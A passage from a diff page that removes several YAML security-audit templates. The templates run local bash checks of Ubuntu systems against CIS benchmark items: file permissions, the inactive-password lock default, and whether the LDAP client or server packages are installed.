- "^-.{8}w" # other/world writable
- type: regex
name: invalid-owner
part: response
regex:
- "^\\S+\\s+\\S+\\s+(?!root|.*EXPECTED_USER=)"
# digest: 490a0046304402200d1c1eb3e56074bf3daf7445e93706d95501decf32ee59f9d155f9d07f56d988022070e34135003e30cdd8a2aea1d25fef4df3cb8b9e354d0511a38a1dace28b16b0:922c64590222798bb761d5b6d8e72950
@@ -1,42 +0,0 @@
id: inactive-password-lock-default
info:
name: Ensure Inactive Password Lock is Configured (Default Setting)
author: Th3l0newolf
severity: high
description: |
This policy ensures the default user inactivity lock is configured properly.User accounts that remain inactive for more than 45 days after password expiration should be disabled.
remediation: |
Ensure the default INACTIVE parameter is set to 45 days for new accounts.To configure, run: sudo useradd -D -f 45
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu,password
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
INACTIVE_DAYS=$(useradd -D | grep -i INACTIVE | awk -F= '{print $2}')
if [ -z "$INACTIVE_DAYS" ] || [ "$INACTIVE_DAYS" -gt 45 ]; then
echo "[inactive-password-lock-default-check:Policy-Fail] [INACTIVE=$INACTIVE_DAYS (invalid)] [CIS_FAIL]"
else
echo "[inactive-password-lock-default-check:Policy-Pass] [INACTIVE=$INACTIVE_DAYS (valid)] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4b0a00483046022100f3e5e3bb36176a8550312176a50c0d7938dd4f2f85ef28d7d5e7c24be37656d1022100cde95da0edd31265b7ef7145e309d7e5768146ab14079dd84f6d75e9b111041e:922c64590222798bb761d5b6d8e72950
-44
View File
@@ -1,44 +0,0 @@
id: ldap-client
info:
name: Ensure LDAP Client is Not Installed
author: Th3l0newolf
severity: info
description: |
The ldap-utils package provides LDAP client utilities that allow systems to query and interact with LDAP directories.If not explicitly required, it should be removed to minimize the system’s attack surface and reduce security risks.
remediation: |
- Ensure the ldap-utils package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove ldap-utils -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu,ldap
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
# Check if the ldap-utils package is installed
if dpkg-query -W -f='${Status}' ldap-utils 2>/dev/null | grep -q "install ok installed"; then
echo "[cis-ldap-client-check:Policy-Fail] [ldap-utils is installed] [CIS_FAIL]"
else
echo "[cis-ldap-client-check:Policy-Pass] [ldap-utils is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4b0a00483046022100ff8778e0ae1fc773a1a46f288bcfb1d5e232d50fe42361d05d96bca924ecae6e0221009d492ae0f7a531cea826f1e264d8b8418a9656c6f5fa3d0ce75fb7ff9ba9b54b:922c64590222798bb761d5b6d8e72950
-42
View File
@@ -1,42 +0,0 @@
id: ldap-server
info:
name: Ensure LDAP Server Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The slapd package provides the OpenLDAP server, which manages directory and identity services. If not explicitly required, having this service installed unnecessarily increases the system’s attack surface.
remediation: |
- Run: sudo apt-get remove slapd -y
- This removes the LDAP server package to reduce the system’s attack surface.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s slapd &>/dev/null; then
echo "[ldap-server-check:Policy-Fail] [slapd is installed] [CIS_FAIL]"
else
echo "[ldap-server-check:Policy-Pass] [slapd is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 490a0046304402207ee6e7e7e9c66d8b9fbe1f829c03f27090298ed7f861d88bc570582c65810e1b022037d531ff744abf9677b2d15b3de6cfd80dc77b99613de661fe80dd7b6d91edc6:922c64590222798bb761d5b6d8e72950
Loaded 100 of 10305 files, more files were not shown because too many files have changed in this diff. Show more